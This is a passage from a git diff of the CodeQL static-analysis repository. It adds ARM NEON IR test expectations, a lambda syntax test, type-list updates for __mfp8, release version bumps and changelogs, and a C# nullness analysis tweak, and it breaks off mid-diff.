r15_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 15| r15_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r15_5, m14_8 +# 15| r15_7(__attribute((neon_vector_type(8))) unsigned short) = Call[__builtin_aarch64_uaddlv8qi_uuu] : func:r15_2, 0:r15_4, 1:r15_6 +# 15| m15_8(unknown) = ^CallSideEffect : ~m14_4 +# 15| m15_9(unknown) = Chi : total:m14_4, partial:m15_8 +# 15| m15_10(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r15_1, r15_7 +# 14| r14_9(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 14| v14_10(void) = ReturnValue : &:r14_9, m15_10 +# 14| v14_11(void) = AliasedUse : ~m15_9 +# 14| v14_12(void) = ExitFunction : + +# 18| uint16x8_t arm_add(uint8x8_t, uint8x8_t) +# 18| Block 0 +# 18| v18_1(void) = EnterFunction : +# 18| m18_2(unknown) = AliasedDefinition : +# 18| m18_3(unknown) = InitializeNonLocal : +# 18| m18_4(unknown) = Chi : total:m18_2, partial:m18_3 +# 18| r18_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 18| m18_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r18_5 +# 18| r18_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 18| m18_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r18_7 +# 19| r19_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : +# 19| r19_2(glval) = FunctionAddress[vadd_u8] : +# 19| r19_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 19| r19_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r19_3, m18_6 +# 19| r19_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 19| r19_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r19_5, m18_8 +# 19| r19_7(__attribute((neon_vector_type(8))) unsigned char) = Call[vadd_u8] : func:r19_2, 0:r19_4, 1:r19_6 +# 19| m19_8(unknown) = ^CallSideEffect : ~m18_4 +# 19| m19_9(unknown) = Chi : total:m18_4, partial:m19_8 +# 19| m19_10(__attribute((neon_vector_type(8))) unsigned char) = Store[c] : &:r19_1, r19_7 +# 20| r20_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 20| r20_2(glval) = FunctionAddress[vaddl_u8] : +# 20| r20_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 20| r20_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r20_3, m18_6 +# 20| r20_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : +# 20| r20_6(__attribute((neon_vector_type(8))) unsigned char) = Load[c] : &:r20_5, m19_10 +# 20| r20_7(__attribute((neon_vector_type(8))) unsigned short) = Call[vaddl_u8] : func:r20_2, 0:r20_4, 1:r20_6 +# 20| m20_8(unknown) = ^CallSideEffect : ~m19_9 +# 20| m20_9(unknown) = Chi : total:m19_9, partial:m20_8 +# 20| m20_10(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r20_1, r20_7 +# 18| r18_9(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 18| v18_10(void) = ReturnValue : &:r18_9, m20_10 +# 18| v18_11(void) = AliasedUse : ~m20_9 +# 18| v18_12(void) = ExitFunction : + bad_asts.cpp: # 9| int Bad::S::MemberFunction(int) # 9| Block 0 @@ -19457,11 +19540,11 @@ ir.cpp: # 2691| m2691_3(unknown) = InitializeNonLocal : # 2691| m2691_4(unknown) = Chi : total:m2691_2, partial:m2691_3 # 2692| r2692_1(glval) = VariableAddress[y] : -#-----| r0_1(int) = Constant[1] : -#-----| m0_2(int) = Store[y] : &:r2692_1, r0_1 +# 2692| r2692_2(int) = Constant[1] : +# 2692| m2692_3(int) = Store[y] : &:r2692_1, r2692_2 # 2693| r2693_1(glval) = VariableAddress[#return] : # 2693| r2693_2(glval) = VariableAddress[y] : -# 2693| r2693_3(int) = Load[y] : &:r2693_2, m0_2 +# 2693| r2693_3(int) = Load[y] : &:r2693_2, m2692_3 # 2693| m2693_4(int) = Store[#return] : &:r2693_1, r2693_3 # 2691| r2691_5(glval) = VariableAddress[#return] : # 2691| v2691_6(void) = ReturnValue : &:r2691_5, m2693_4 diff --git a/cpp/ql/test/library-tests/ir/ir/arm.cpp b/cpp/ql/test/library-tests/ir/ir/arm.cpp new file mode 100644 index 00000000000..36e20715bc5 --- /dev/null +++ b/cpp/ql/test/library-tests/ir/ir/arm.cpp @@ -0,0 +1,21 @@ +// semmle-extractor-options: --edg --target --edg linux_arm64 + +typedef __Uint8x8_t uint8x8_t; +typedef __Uint16x8_t uint16x8_t; + +uint8x8_t vadd_u8(uint8x8_t a, uint8x8_t b) { + return a + b; +} + +// Workaround: the frontend only exposes this when the arm_neon.h +// header is encountered. +uint16x8_t __builtin_aarch64_uaddlv8qi_uuu(uint8x8_t, uint8x8_t); + +uint16x8_t vaddl_u8(uint8x8_t a, uint8x8_t b) { + return __builtin_aarch64_uaddlv8qi_uuu (a, b); +} + +uint16x8_t arm_add(uint8x8_t a, uint8x8_t b) { + uint8x8_t c = vadd_u8(a, b); + return vaddl_u8(a, c); +} diff --git a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected index cf8d638e495..978d05d4b16 100644 --- a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected @@ -1,3 +1,80 @@ +arm.cpp: +# 6| uint8x8_t vadd_u8(uint8x8_t, uint8x8_t) +# 6| Block 0 +# 6| v6_1(void) = EnterFunction : +# 6| mu6_2(unknown) = AliasedDefinition : +# 6| mu6_3(unknown) = InitializeNonLocal : +# 6| r6_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 6| mu6_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r6_4 +# 6| r6_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 6| mu6_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r6_6 +# 7| r7_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] : +# 7| r7_2(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 7| r7_3(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r7_2, ~m? +# 7| r7_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 7| r7_5(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r7_4, ~m? +# 7| r7_6(__attribute((neon_vector_type(8))) unsigned char) = Add : r7_3, r7_5 +# 7| mu7_7(__attribute((neon_vector_type(8))) unsigned char) = Store[#return] : &:r7_1, r7_6 +# 6| r6_8(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] : +# 6| v6_9(void) = ReturnValue : &:r6_8, ~m? +# 6| v6_10(void) = AliasedUse : ~m? +# 6| v6_11(void) = ExitFunction : + +# 14| uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t) +# 14| Block 0 +# 14| v14_1(void) = EnterFunction : +# 14| mu14_2(unknown) = AliasedDefinition : +# 14| mu14_3(unknown) = InitializeNonLocal : +# 14| r14_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 14| mu14_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r14_4 +# 14| r14_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 14| mu14_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r14_6 +# 15| r15_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 15| r15_2(glval) = FunctionAddress[__builtin_aarch64_uaddlv8qi_uuu] : +# 15| r15_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 15| r15_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r15_3, ~m? +# 15| r15_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 15| r15_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r15_5, ~m? +# 15| r15_7(__attribute((neon_vector_type(8))) unsigned short) = Call[__builtin_aarch64_uaddlv8qi_uuu] : func:r15_2, 0:r15_4, 1:r15_6 +# 15| mu15_8(unknown) = ^CallSideEffect : ~m? +# 15| mu15_9(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r15_1, r15_7 +# 14| r14_8(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 14| v14_9(void) = ReturnValue : &:r14_8, ~m? +# 14| v14_10(void) = AliasedUse : ~m? +# 14| v14_11(void) = ExitFunction : + +# 18| uint16x8_t arm_add(uint8x8_t, uint8x8_t) +# 18| Block 0 +# 18| v18_1(void) = EnterFunction : +# 18| mu18_2(unknown) = AliasedDefinition : +# 18| mu18_3(unknown) = InitializeNonLocal : +# 18| r18_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 18| mu18_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r18_4 +# 18| r18_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 18| mu18_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r18_6 +# 19| r19_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : +# 19| r19_2(glval) = FunctionAddress[vadd_u8] : +# 19| r19_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 19| r19_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r19_3, ~m? +# 19| r19_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 19| r19_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r19_5, ~m? +# 19| r19_7(__attribute((neon_vector_type(8))) unsigned char) = Call[vadd_u8] : func:r19_2, 0:r19_4, 1:r19_6 +# 19| mu19_8(unknown) = ^CallSideEffect : ~m? +# 19| mu19_9(__attribute((neon_vector_type(8))) unsigned char) = Store[c] : &:r19_1, r19_7 +# 20| r20_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 20| r20_2(glval) = FunctionAddress[vaddl_u8] : +# 20| r20_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 20| r20_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r20_3, ~m? +# 20| r20_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : +# 20| r20_6(__attribute((neon_vector_type(8))) unsigned char) = Load[c] : &:r20_5, ~m? +# 20| r20_7(__attribute((neon_vector_type(8))) unsigned short) = Call[vaddl_u8] : func:r20_2, 0:r20_4, 1:r20_6 +# 20| mu20_8(unknown) = ^CallSideEffect : ~m? +# 20| mu20_9(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r20_1, r20_7 +# 18| r18_8(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 18| v18_9(void) = ReturnValue : &:r18_8, ~m? +# 18| v18_10(void) = AliasedUse : ~m? +# 18| v18_11(void) = ExitFunction : + bad_asts.cpp: # 9| int Bad::S::MemberFunction(int) # 9| Block 0 @@ -17775,8 +17852,8 @@ ir.cpp: # 2691| mu2691_2(unknown) = AliasedDefinition : # 2691| mu2691_3(unknown) = InitializeNonLocal : # 2692| r2692_1(glval) = VariableAddress[y] : -#-----| r0_1(int) = Constant[1] : -#-----| mu0_2(int) = Store[y] : &:r2692_1, r0_1 +# 2692| r2692_2(int) = Constant[1] : +# 2692| mu2692_3(int) = Store[y] : &:r2692_1, r2692_2 # 2693| r2693_1(glval) = VariableAddress[#return] : # 2693| r2693_2(glval) = VariableAddress[y] : # 2693| r2693_3(int) = Load[y] : &:r2693_2, ~m? diff --git a/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp b/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp index 7b359a046d8..649d99a7575 100644 --- a/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp +++ b/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp @@ -1011,10 +1011,10 @@ void test_overflow() { range(x); // $ range===2147483647 const int y = 256; range(y); // $ range===256 - if ((x + y) <= 512) { + if ((x + y) <= 512) { // $ overflow=+ range(x); // $ range===2147483647 range(y); // $ range===256 - range(x + y); // $ range===-2147483393 + range(x + y); // $ range=<=2147483903 overflow=+ } } diff --git a/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.expected b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.expected new file mode 100644 index 00000000000..1beb3eed3b3 --- /dev/null +++ b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.expected @@ -0,0 +1,11 @@ +| parameters.cpp:2:5:2:23 | [...](...){...} | with list | 2 | +| parameters.cpp:4:5:4:22 | [...](...){...} | with list | 1 | +| parameters.cpp:6:5:6:17 | [...](...){...} | with list | 1 | +| parameters.cpp:8:5:8:20 | [...](...){...} | with list | 0 | +| parameters.cpp:10:5:10:26 | [...](...){...} | with list | 0 | +| parameters.cpp:11:5:11:24 | [...](...){...} | without list | 0 | +| parameters.cpp:13:5:13:20 | [...](...){...} | with list | 0 | +| parameters.cpp:16:5:18:5 | [...](...){...} | with list | 0 | +| parameters.cpp:20:5:22:5 | [...](...){...} | without list | 0 | +| parameters.cpp:24:5:24:10 | [...](...){...} | without list | 0 | +| parameters.cpp:25:5:25:14 | [...](...){...} | with list | 0 | diff --git a/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.ql b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.ql new file mode 100644 index 00000000000..ae2043687a0 --- /dev/null +++ b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.ql @@ -0,0 +1,5 @@ +import cpp + +from LambdaExpression e, string parameterList +where if e.hasParameterList() then parameterList = "with list" else parameterList = "without list" +select e, parameterList, e.getLambdaFunction().getNumberOfParameters() diff --git a/cpp/ql/test/library-tests/lambdas/syntax/parameters.cpp b/cpp/ql/test/library-tests/lambdas/syntax/parameters.cpp new file mode 100644 index 00000000000..6d9bca191b1 --- /dev/null +++ b/cpp/ql/test/library-tests/lambdas/syntax/parameters.cpp @@ -0,0 +1,26 @@ +void test_lambda_declarator() { + [=](int, float) { }; + + [](int x = 42) { }; + + [](int x) { }; + + []() mutable { }; + + []() [[nodiscard]] { }; + [] [[nodiscard]] { }; + + []() -> void { }; + + int i; + [&i]() { + i += 1; + }; + + [&i] { + i += 1; + }; + + [] { }; + [=] () { }; +} \ No newline at end of file diff --git a/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected b/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected index 064c4e01e2b..b516aa0ce87 100644 --- a/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected +++ b/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected @@ -1,4 +1,10 @@ uniqueEnclosingCallable +| builtin.c:14:3:14:16 | ... * ... | Node should have one enclosing callable but has 0. | +| builtin.c:14:3:14:16 | sizeof(int) | Node should have one enclosing callable but has 0. | +| builtin.c:14:10:14:10 | 4 | Node should have one enclosing callable but has 0. | +| builtin.c:15:3:15:16 | ... * ... | Node should have one enclosing callable but has 0. | +| builtin.c:15:3:15:16 | sizeof(int) | Node should have one enclosing callable but has 0. | +| builtin.c:15:10:15:10 | 4 | Node should have one enclosing callable but has 0. | | enum.c:2:6:2:6 | 1 | Node should have one enclosing callable but has 0. | | enum.c:2:6:2:10 | ... + ... | Node should have one enclosing callable but has 0. | | enum.c:2:10:2:10 | 1 | Node should have one enclosing callable but has 0. | diff --git a/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected b/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected index c4b76a9d2fc..47aa18f9a5b 100644 --- a/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected +++ b/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected @@ -1,13 +1,13 @@ -| test.cpp:3:8:3:8 | C<1> | 0 | int | test.cpp:5:25:5:25 | 1 | 1 | -| test.cpp:3:8:3:8 | C<2> | 0 | int | file://:0:0:0:0 | 2 | 2 | +| test.cpp:3:8:3:8 | C<1> | 0 | int | test.cpp:6:3:6:6 | one1 | 1 | +| test.cpp:3:8:3:8 | C<2> | 0 | int | test.cpp:7:3:7:13 | ... + ... | 2 | | test.cpp:3:8:3:8 | C | 0 | int | file://:0:0:0:0 | x | x | | test.cpp:10:8:10:8 | D | 0 | | test.cpp:9:19:9:19 | T | | | test.cpp:10:8:10:8 | D | 1 | T | file://:0:0:0:0 | X | X | | test.cpp:10:8:10:8 | D | 0 | | file://:0:0:0:0 | int | | | test.cpp:10:8:10:8 | D | 1 | int | test.cpp:12:8:12:8 | 2 | 2 | | test.cpp:10:8:10:8 | D | 0 | | file://:0:0:0:0 | long | | -| test.cpp:10:8:10:8 | D | 1 | long | file://:0:0:0:0 | 2 | 2 | +| test.cpp:10:8:10:8 | D | 1 | long | test.cpp:13:9:13:9 | 2 | 2 | | test.cpp:16:8:16:8 | E | 0 | | test.cpp:15:19:15:19 | T | | | test.cpp:16:8:16:8 | E | 1 | T * | file://:0:0:0:0 | X | X | | test.cpp:16:8:16:8 | E | 0 | | file://:0:0:0:0 | int | | -| test.cpp:16:8:16:8 | E | 1 | int * | file://:0:0:0:0 | 0 | 0 | +| test.cpp:16:8:16:8 | E | 1 | int * | test.cpp:18:8:18:14 | 0 | 0 | diff --git a/cpp/ql/test/library-tests/templates/type_instantiations/types.expected b/cpp/ql/test/library-tests/templates/type_instantiations/types.expected index 3539e52eecf..a86ab5e7bbd 100644 --- a/cpp/ql/test/library-tests/templates/type_instantiations/types.expected +++ b/cpp/ql/test/library-tests/templates/type_instantiations/types.expected @@ -25,6 +25,7 @@ | file://:0:0:0:0 | __float128 | | file://:0:0:0:0 | __fp16 | | file://:0:0:0:0 | __int128 | +| file://:0:0:0:0 | __mfp8 | | file://:0:0:0:0 | __va_list_tag | | file://:0:0:0:0 | __va_list_tag & | | file://:0:0:0:0 | __va_list_tag && | diff --git a/cpp/ql/test/library-tests/type_sizes/type_sizes.expected b/cpp/ql/test/library-tests/type_sizes/type_sizes.expected index b7bc9e04fe3..08e8b26f525 100644 --- a/cpp/ql/test/library-tests/type_sizes/type_sizes.expected +++ b/cpp/ql/test/library-tests/type_sizes/type_sizes.expected @@ -46,6 +46,7 @@ | file://:0:0:0:0 | __float128 | 16 | | file://:0:0:0:0 | __fp16 | 2 | | file://:0:0:0:0 | __int128 | 16 | +| file://:0:0:0:0 | __mfp8 | 1 | | file://:0:0:0:0 | __va_list_tag | 24 | | file://:0:0:0:0 | __va_list_tag & | 8 | | file://:0:0:0:0 | __va_list_tag && | 8 | diff --git a/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected b/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected index 00ae3fa5d8f..2e5091754b9 100644 --- a/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected +++ b/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected @@ -27,6 +27,7 @@ | file://:0:0:0:0 | __float128 | __float128 | | file://:0:0:0:0 | __fp16 | __fp16 | | file://:0:0:0:0 | __int128 | __int128 | +| file://:0:0:0:0 | __mfp8 | __mfp8 | | file://:0:0:0:0 | __va_list_tag & | __va_list_tag & | | file://:0:0:0:0 | __va_list_tag && | __va_list_tag && | | file://:0:0:0:0 | auto | auto | diff --git a/cpp/ql/test/library-tests/variables/variables/types.expected b/cpp/ql/test/library-tests/variables/variables/types.expected index 6ecf14875ca..1d091ac2571 100644 --- a/cpp/ql/test/library-tests/variables/variables/types.expected +++ b/cpp/ql/test/library-tests/variables/variables/types.expected @@ -26,6 +26,7 @@ | __float128 | Float128Type | | | | | | __fp16 | BinaryFloatingPointType, RealNumberType | | | | | | __int128 | Int128Type | | | | | +| __mfp8 | BinaryFloatingPointType, RealNumberType | | | | | | __va_list_tag | DirectAccessHolder, MetricClass, Struct, StructLikeClass | | | | | | __va_list_tag & | LValueReferenceType, PointerOrArrayOrReferenceType, PointerOrArrayOrReferenceTypeIndirection | | __va_list_tag | | | | __va_list_tag && | PointerOrArrayOrReferenceType, PointerOrArrayOrReferenceTypeIndirection, RValueReferenceType | | __va_list_tag | | | diff --git a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md index f177ccf403e..127bb19bbc6 100644 --- a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.7.42 + +No user-facing changes. + +## 1.7.41 + +No user-facing changes. + ## 1.7.40 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md new file mode 100644 index 00000000000..b99dc457ba9 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md @@ -0,0 +1,3 @@ +## 1.7.41 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md new file mode 100644 index 00000000000..baf98826021 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md @@ -0,0 +1,3 @@ +## 1.7.42 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml index 47c67a0a4d3..8317cee0ddb 100644 --- a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.40 +lastReleaseVersion: 1.7.42 diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index 6c3519f4785..a86abb4812b 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.41-dev +version: 1.7.43-dev groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md index f177ccf403e..127bb19bbc6 100644 --- a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.7.42 + +No user-facing changes. + +## 1.7.41 + +No user-facing changes. + ## 1.7.40 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md new file mode 100644 index 00000000000..b99dc457ba9 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md @@ -0,0 +1,3 @@ +## 1.7.41 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md new file mode 100644 index 00000000000..baf98826021 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md @@ -0,0 +1,3 @@ +## 1.7.42 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml index 47c67a0a4d3..8317cee0ddb 100644 --- a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.40 +lastReleaseVersion: 1.7.42 diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index 1cfbcb1f030..caf1e66033e 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.41-dev +version: 1.7.43-dev groups: - csharp - solorigate diff --git a/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected b/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected index 14934899e0d..89e7cff7f29 100644 --- a/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected +++ b/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected @@ -2,6 +2,8 @@ ql/csharp/ql/src/API Abuse/CallToGCCollect.ql ql/csharp/ql/src/API Abuse/FormatInvalid.ql ql/csharp/ql/src/API Abuse/NoDisposeCallOnLocalIDisposable.ql ql/csharp/ql/src/Bad Practices/Control-Flow/ConstantCondition.ql +ql/csharp/ql/src/CSI/NullAlways.ql +ql/csharp/ql/src/CSI/NullMaybe.ql ql/csharp/ql/src/Dead Code/DeadStoreOfLocal.ql ql/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql ql/csharp/ql/src/Likely Bugs/Collections/ContainerLengthCmpOffByOne.ql @@ -11,6 +13,7 @@ ql/csharp/ql/src/Likely Bugs/EqualityCheckOnFloats.ql ql/csharp/ql/src/Likely Bugs/ReferenceEqualsOnValueTypes.ql ql/csharp/ql/src/Likely Bugs/SelfAssignment.ql ql/csharp/ql/src/Likely Bugs/UncheckedCastInEquals.ql +ql/csharp/ql/src/Performance/StringConcatenationInLoop.ql ql/csharp/ql/src/Performance/UseTryGetValue.ql ql/csharp/ql/src/Useless code/DefaultToString.ql ql/csharp/ql/src/Useless code/IntGetHashCode.ql diff --git a/csharp/ql/lib/CHANGELOG.md b/csharp/ql/lib/CHANGELOG.md index 47503fa222e..5eeedc6f77b 100644 --- a/csharp/ql/lib/CHANGELOG.md +++ b/csharp/ql/lib/CHANGELOG.md @@ -1,3 +1,13 @@ +## 5.1.8 + +No user-facing changes. + +## 5.1.7 + +### Minor Analysis Improvements + +* The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). + ## 5.1.6 No user-facing changes. diff --git a/csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md b/csharp/ql/lib/change-notes/released/5.1.7.md similarity index 78% rename from csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md rename to csharp/ql/lib/change-notes/released/5.1.7.md index c45cce85982..2cc0418ad62 100644 --- a/csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md +++ b/csharp/ql/lib/change-notes/released/5.1.7.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 5.1.7 + +### Minor Analysis Improvements + * The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). diff --git a/csharp/ql/lib/change-notes/released/5.1.8.md b/csharp/ql/lib/change-notes/released/5.1.8.md new file mode 100644 index 00000000000..9e1ff36f31f --- /dev/null +++ b/csharp/ql/lib/change-notes/released/5.1.8.md @@ -0,0 +1,3 @@ +## 5.1.8 + +No user-facing changes. diff --git a/csharp/ql/lib/codeql-pack.release.yml b/csharp/ql/lib/codeql-pack.release.yml index 5ddeeed69fc..8ffbb79d224 100644 --- a/csharp/ql/lib/codeql-pack.release.yml +++ b/csharp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.1.6 +lastReleaseVersion: 5.1.8 diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 3cfd3861377..464284c56cb 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.7-dev +version: 5.1.9-dev groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/Nullness.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/Nullness.qll index a990455f430..7e8ed0aadc0 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/Nullness.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/Nullness.qll @@ -544,8 +544,13 @@ class Dereference extends G::DereferenceableExpr { p.hasExtensionMethodModifier() and not emc.isConditional() | - p.fromSource() // assume all non-source extension methods perform a dereference - implies + // Assume all non-source extension methods on + // (1) nullable types are null-safe + // (2) non-nullable types are doing a dereference. + p.fromLibrary() and + not p.getAnnotatedType().isNullableRefType() + or + p.fromSource() and exists( Ssa::ImplicitParameterDefinition def, AssignableDefinitions::ImplicitParameterDefinition pdef diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/system/Diagnostics.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/system/Diagnostics.qll index 14d7497ec33..b5c036fa9f4 100644 --- 